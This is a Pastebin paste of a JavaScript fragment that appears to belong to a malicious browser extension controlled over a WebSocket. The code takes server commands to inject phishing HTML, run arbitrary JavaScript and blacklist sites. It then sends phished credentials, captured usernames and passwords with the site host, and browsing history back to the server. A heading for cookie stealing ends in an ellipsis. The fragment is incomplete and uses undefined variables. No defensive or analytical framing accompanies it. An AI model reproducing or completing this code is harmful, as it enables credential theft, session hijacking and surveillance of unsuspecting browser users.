Advertisement
Guest User

Untitled

a guest
Nov 26th, 2018
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //RECEIVING FROM SEVRER
  2. ws.onmessage = function (e) {
  3.     console.log("Message received!");
  4.     object = JSON.parse(e.data);
  5.     id = object.id;//get 256bitvalue
  6.     type = object.type; //As of now types are html, js, listAdd
  7.     tempSite = object.addString; //Site to add to blacklist.
  8.     translateString = object.jsString; //JS function ins string format.
  9.  
  10. //types right now are
  11. //'html' (phishing atttack)
  12. //'js' (js exe)
  13. //'listAdd' (Add a website to blacklist)
  14.  
  15. //SEND PHISH INFO EXTENSION -> SERVER
  16. var jsonPackage = {id: id, type: 'phishForm', phishEmail: emailString, phishPass: passString, phishName: nameString};
  17. ws.send(JSON.stringify(jsonPackage));
  18.  
  19. //SEND USERNAME/PASSWORD INFO EXTENSION -> SERVER
  20. var url = window.location.host;
  21. var jsonPackage = {id: id, type: 'info', url: url, username:userNm, password: passWd};
  22. ws.send(JSON.stringify(jsonPackage));
  23.  
  24. //SEND HISTORY INFORMATION EXTENSION -> SERVER
  25. var jsonPackage = {id: id, type: 'history', history : history};
  26. ws.send(JSON.stringify(jsonPackage));
  27.  
  28. //STEALING COOKIES EXTENSION -> SERVER
  29. ...
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement